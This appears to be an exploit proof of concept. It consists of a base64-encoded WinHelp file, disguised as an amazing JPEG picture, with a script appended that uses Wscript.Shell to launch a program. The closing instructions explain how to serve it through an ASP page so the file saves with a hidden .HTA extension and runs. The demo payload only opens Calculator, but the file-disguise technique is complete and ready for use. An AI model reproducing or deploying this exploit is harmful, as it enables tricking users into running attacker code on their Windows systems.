AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALwgAACYI
AAAAOykCAAAITDQAAAAAAAAAAAAAAAAAAAAAAAAAAP//AQABACQAAADYBiQA/////xTYS5QUDgAA
8yofmbUYAABUYgzgrhIAAHqq9wtRFwAAUzueG9SBAADZ/PsirQAAANr8+yIIAQAA3Pz7IoQBAADd
/PsiLQMAAN/8+yK2BgAA4vz7IgAAAADudnkk5QgAACdfwCvPAwAAKF/AK3AFAAApX8ArCAEAACpf
wCtQBgAALF/AK7YGAAB1wYQ0oAkAAHbBhDTKCgAAd8GENJkLAAB4wYQ0FAwAAHrBhDSFDAAAxCNJ
PT4PAADFI0k9zhEAAMYjST13DwAAzCNJPcwOAAAPLqFFZIMAAH4ODEYZFAAAfw4MRuIWAACADgxG
VBQAAIYODEZJEgAAdIRqS3CBAADNsdBOAIAAAM+x0E70gAAARAzOcIyCAADP+7RxLYIAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC8IAAAmCAAAADspAgAACEx6AAAA
AAAAAAAAAAAAAAAAAAAAAAD//wEAAQAiAAAAEAEiAP////8BAAAAczpcc2VydmVyXGxvY1xjb250
ZXh0c2Vuc2l0aXZlXGFjbHVpXGFjbF9jcy5ydGYAAgAAAHM6XHNlcnZlclxsb2NcY29udGV4dHNl
bnNpdGl2ZVxhY2x1aVxhY2xfY3MucnRmAAMAAABzOlxzZXJ2ZXJcbG9jXGNvbnRleHRzZW5zaXRp
dmVcYWNsdWlcYWNsX2NzLnJ0ZgAEAAAAczpcc2VydmVyXGxvY1xjb250ZXh0c2Vuc2l0aXZlXGFj
bHVpXGFjbF9jcy5ydGYABQAAAHM6XHNlcnZlclxsb2NcY29udGV4dHNlbnNpdGl2ZVxhY2x1aVxh
Y2xfY3MucnRmAAYAAABzOlxzZXJ2ZXJcbG9jXGNvbnRleHRzZW5zaXRpdmVcYWNsdWlcYWNsX2Nz
LnJ0ZgAHAAAAczpcc2VydmVyXGxvY1xjb250ZXh0c2Vuc2l0aXZlXGFjbHVpXGFjbF9jcy5ydGYA
CAAAAHM6XHNlcnZlclxsb2NcY29udGV4dHNlbnNpdGl2ZVxhY2x1aVxhY2xfY3MucnRmAAkAAABz
OlxzZXJ2ZXJcbG9jXGNvbnRleHRzZW5zaXRpdmVcYWNsdWlcYWNsX2NzLnJ0ZgAKAAAAczpcc2Vy
dmVyXGxvY1xjb250ZXh0c2Vuc2l0aXZlXGFjbHVpXGFjbF9jcy5ydGYACwAAAHM6XHNlcnZlclxs
b2NcY29udGV4dHNlbnNpdGl2ZVxhY2x1aVxhY2xfY3MucnRmAAwAAABzOlxzZXJ2ZXJcbG9jXGNv
bnRleHRzZW5zaXRpdmVcYWNsdWlcYWNsX2NzLnJ0ZgANAAAAczpcc2VydmVyXGxvY1xjb250ZXh0
c2Vuc2l0aXZlXGFjbHVpXGFjbF9jcy5ydGYADgAAAHM6XHNlcnZlclxsb2NcY29udGV4dHNlbnNp
dGl2ZVxhY2x1aVxhY2xfY3MucnRmAA8AAABzOlxzZXJ2ZXJcbG9jXGNvbnRleHRzZW5zaXRpdmVc
YWNsdWlcYWNsX2NzLnJ0ZgAQAAAAczpcc2VydmVyXGxvY1xjb250ZXh0c2Vuc2l0aXZlXGFjbHVp
XGFjbF9jcy5ydGYAEQAAAHM6XHNlcnZlclxsb2NcY29udGV4dHNlbnNpdGl2ZVxhY2x1aVxhY2xf
Y3MucnRmABIAAABzOlxzZXJ2ZXJcbG9jXGNvbnRleHRzZW5zaXRpdmVcYWNsdWlcYWNsX2NzLnJ0
ZgATAAAAczpcc2VydmVyXGxvY1xjb250ZXh0c2Vuc2l0aXZlXGFjbHVpXGFjbF9jcy5ydGYAFAAA
AHM6XHNlcnZlclxsb2NcY29udGV4dHNlbnNpdGl2ZVxhY2x1aVxhY2xfY3MucnRmABUAAABzOlxz
ZXJ2ZXJcbG9jXGNvbnRleHRzZW5zaXRpdmVcYWNsdWlcYWNsX2NzLnJ0ZgAWAAAAczpcc2VydmVy
XGxvY1xjb250ZXh0c2Vuc2l0aXZlXGFjbHVpXGFjbF9jcy5ydGYAFwAAAHM6XHNlcnZlclxsb2Nc
Y29udGV4dHNlbnNpdGl2ZVxhY2x1aVxhY2xfY3MucnRmABgAAABzOlxzZXJ2ZXJcbG9jXGNvbnRl
eHRzZW5zaXRpdmVcYWNsdWlcYWNsX2NzLnJ0ZgAZAAAAczpcc2VydmVyXGxvY1xjb250ZXh0c2Vu
c2l0aXZlXGFjbHVpXGFjbF9jcy5ydGYAGgAAAHM6XHNlcnZlclxsb2NcY29udGV4dHNlbnNpdGl2
ZVxhY2x1aVxhY2xfY3MucnRmABsAAABzOlxzZXJ2ZXJcbG9jXGNvbnRleHRzZW5zaXRpdmVcYWNs
dWlcYWNsX2NzLnJ0ZgAcAAAAczpcc2VydmVyXGxvY1xjb250ZXh0c2Vuc2l0aXZlXGFjbHVpXGFj
bF9jcy5ydGYAHQAAAHM6XHNlcnZlclxsb2NcY29udGV4dHNlbnNpdGl2ZVxhY2x1aVxhY2xfY3Mu
cnRmAB4AAABzOlxzZXJ2ZXJcbG9jXGNvbnRleHRzZW5zaXRpdmVcYWNsdWlcYWNsX2NzLnJ0ZgAf
AAAAczpcc2VydmVyXGxvY1xjb250ZXh0c2Vuc2l0aXZlXGFjbHVpXGFjbF9jcy5ydGYAIAAAAHM6
XHNlcnZlclxsb2NcY29udGV4dHNlbnNpdGl2ZVxhY2x1aVxhY2xfY3MucnRmACEAAABzOlxzZXJ2
ZXJcbG9jXGNvbnRleHRzZW5zaXRpdmVcYWNsdWlcYWNsX2NzLnJ0ZgAiAAAAczpcc2VydmVyXGxv
Y1xjb250ZXh0c2Vuc2l0aXZlXGFjbHVpXGFjbF9jcy5ydGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvCAAAJggAAAA7KQIAAAhMegAAAAAAAAAAAAAAAAAAAAAA
AAAA//8BAAEAIgAAAGIFIgD/////AQAAAElESF8xMDAxXzEwMDAAAgAAAElESF8xMDAxXzEwMDEA
AwAAAElESF8xMDAxXzEwMDIABAAAAElESF8xMDAxXzEwMDQABQAAAElESF8xMDAxXzEwMDUABgAA
AElESF8xMDAyXzIwMDEABwAAAElESF8xMDAyXzIwMDIACAAAAElESF8xMDAyXzIwMDQACQAAAElE
SF8xMDAyXzIwMDYACgAAAElESF9yZXNldF9wZXJtaXNzaW9ucwALAAAASURIXzEwMDNfMzAwMQAM
AAAASURIXzEwMDNfMzAwMgANAAAASURIXzEwMDNfMzAwMwAOAAAASURIXzEwMDNfMzAwNAAPAAAA
SURIXzEwMDNfMzAwNgAQAAAASURIX3Jlc2V0X2F1ZGl0aW5nX2VudHJpZXMAEQAAAElESF8xMDA0
XzQwMDAAEgAAAElESF8xMDA0XzQwMDIAEwAAAElESF8xMDA0XzQwMDQAFAAAAElESF8xMDA0XzQw
MDMAFQAAAElESF8xMDA1XzQxMDAAFgAAAGlkaF9jbGVhcl9hbGxfYnV0dG9uX2F1ZGl0ABcAAABJ
REhfMTAwNV80MTAyABgAAABJREhfMTAwNV80MTA0ABkAAABJREhfMTAwNV80MTAzABoAAABpZGhf
Y2xlYXJfYWxsX2J1dHRvbgAbAAAAaWRoX2N1cnJlbnRfb3duZXIAHAAAAElESF8xMDA2XzUwMDIA
HQAAAElESF8xMDA2XzUwMDQAHgAAAElESF9hdWRpdHNfZm9yAB8AAABJREhfcGVybXNfZm9yACAA
AABJREhfRUZGX05BTUUAIQAAAElESF9FRkZfU0VMRUNUACIAAABJREhfRUZGX1BFUk1fTElTVAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAGQAAABAAAAAAQ1MoKTpDVyhgbWFpbicpABkAAAAQAAAAAENTKCk6Q1coYG1haW4n
KQAZAAAAEAAAAABDUygpOkNXKGBtYWluJykAGQAAABAAAAAAQ1MoKTpDVyhgbWFpbicpABkAAAAQ
AAAAAENTKCk6Q1coYG1haW4nKQA8U0NSSVBUPmE9bmV3IEFjdGl2ZVhPYmplY3QoIldzY3JpcHQu
U2hlbGwiKTthLlJ1bigiQ2FsYy5leGUiLDEpOzwvU0NSSVBUPiAgICAgICAgYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWE=
==========eof====================================================================================
Instructions:
place the 2 files on a webserver, edit the "ASP" file to match the
correct local path to the other file and access the asp
file. A download prompt should appear, upon saving the file to disk,
an "HTA" extension is appended, but not shown due to the file name
length. (Tested on a Windows system with screen dimensions (1024x768)
The "PICTURE YOU WILL FIND SO AMAZING.JPEG (Base64 encoded)" file is
simply a Winhelp (.HLP) file with script code appended at the end.
Tip: Do not put "<html>" or "<img>" tags in the file.